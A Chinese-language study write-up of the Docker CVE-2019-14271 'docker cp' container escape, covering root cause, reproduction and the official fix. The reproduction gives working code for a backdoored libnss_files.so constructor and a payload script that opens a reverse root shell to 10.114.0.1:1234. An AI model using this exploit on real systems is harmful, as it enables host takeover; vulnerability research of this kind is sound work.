CVE-2019-14271学习

漏洞分析

CVE-2019-14271是一个Docker漏洞,利用这个漏洞可以在从容器复制文件到宿主的同时实现容器逃逸。

当用户从容器中复制文件到宿主系统的时候,Docker会执行docker-tar,chroot到容器中并打包要复制的文件。在这个过程中,Docker会调用getpwuid_r()来获取文件所有者的用户信息[1.1],这个功能是在glibc的nsswitch库中实现的,所以需要加载相关的动态链接库,例如libnss_files.so。

func lookupUnixUid(uid int) (*User, error) {
    var pwd C.struct_passwd
    var result *C.struct_passwd

    buf := alloc(userBuffer)
    defer buf.free()

    err := retryWithBuffer(buf, func() syscall.Errno {
        // mygetpwuid_r is a wrapper around getpwuid_r to avoid using uid_t
        // because C.uid_t(uid) for unknown reasons doesn't work on linux.
        return syscall.Errno(C.mygetpwuid_r(C.int(uid),
            &pwd,
            (*C.char)(buf.ptr),
            C.size_t(buf.size),
            &result))
    })
    if err != nil {
        return nil, fmt.Errorf("user: lookup userid %d: %v", uid, err)
    }
    if result == nil {
        return nil, UnknownUserIdError(uid)
    }
    return buildUser(&pwd), nil
}

然而,Docker是在chroot进容器之后才加载的动态库,所以它加载的实际上是容器中的动态库而不是宿主系统中的。当Docker加载了容器中包含恶意代码的动态库时,就会在宿主的namespace下执行这些代码,从而造成逃逸。

漏洞复现

系统:Ubuntu 18.04
Docker:19.03.0

首先创建一个容器,新的镜像似乎不兼容当前版本的Docker,所以需要选择旧一些的版本,这里我用的是Ubuntu:bionic-20221215。接下来修改/lib/x86_64-linux-gnu/libnss_files.so.2,有两种方法,一是下载glibc的源码,修改以后编译,二是直接用patchelf给现有的so文件添加library。在此之前先把原来的so文件备份为 /origin.so。

方法一

查看容器中libnss的版本,下载对应版本的源码,libnss_files.so.2本身是个软链接,指向的文件名为libnss_files-2.27.so,因此容器中的版本是2.27,从http://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2下载,解压后会出现一个glibc-2.27目录。编译不能在这个目录下进行,需要在这个目录外创建一个新目录,假设为glibc-build,然后在该目录下再创建一个prefix目录。假设glibc-2.27和glibc-build都在根目录下。

修改glibc-2.27/nss/nss_files/files-init.c,添加如下内容:

#include <stdio.h>
#include <stdlib.h>
__attribute__ ((constructor)) void exp_func()
{
    FILE * proc_file = fopen("/proc/self/exe", "r");
    if (proc_file != NULL)
    {
        fclose(proc_file);
        return;
    }
    rename("/origin.so", "/lib/x86_64-linux-gnu/libnss_files.so.2");
    system("/payload.sh");
    return;
}

开始编译:

cd /glibc-build
/glibc-2.27/configure --prefix=/glibc-build/prefix --disable-werror
make

最后生成的文件在/glibc-build/nss/libnss_files.so,把编译好的文件重命名并放到对应位置。

方法二

先用apt安装patchelf,然后编写exp.c,内容跟上面在files-init.c中添加的内容一样:

#include <stdio.h>
#include <stdlib.h>
__attribute__ ((constructor)) void exp_func()
{
    FILE * proc_file = fopen("/proc/self/exe", "r");
    if (proc_file != NULL)
    {
        fclose(proc_file);
        return;
    }
    rename("/origin.so", "/lib/x86_64-linux-gnu/libnss_files.so.2");
    system("/payload.sh");
    return;
}

编译exp并patch到so文件里:

gcc -shared -fPIC /exp.c -o /exp.so
patchelf --add-needed /exp.so /lib/x86_64-linux-gnu/libnss_files.so.2

通过ldd来查看patch的结果,可以看到多出了一个/exp.so。:

ldd /lib/x86_64-linux-gnu/libnss_files.so.2


以上是修改so的两种方式。接下来编写payload.sh:

#!/bin/bash
umount /proc
mount -t proc none /proc
bash -i >& /dev/tcp/10.114.0.1/1234 0>&1

回到宿主,通过docker cp随便从容器中复制一个文件到宿主,即可触发payload的运行,上面的payload会将宿主的procfs挂载到容器中,并以宿主的root权限反弹shell,在监听反弹的终端里进入/proc/1/root/目录即可进入宿主的根目录。

官方修复

修复之后,Docker会在chroot进容器之前就加载宿主系统中的nsswitch[3.1]。

func init() {
    // initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host
    // environment not in the chroot from untrusted files.
    _, _ = user.Lookup("docker")
    _, _ = net.LookupHost("localhost")
}

参考

[1.1] https://github.com/golang/go/blob/go1.12.5/src/os/user/cgo_lookup_unix.go#L89
[2.1] https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
[2.2] https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/docker-software/plumbing/docker-cp/CVE-2019-14271/%E5%88%86%E6%9E%90/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html
[3.1] https://github.com/moby/moby/commit/fa8dd90ceb7bcb9d554d27e0b9087ab83e54bd2b

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注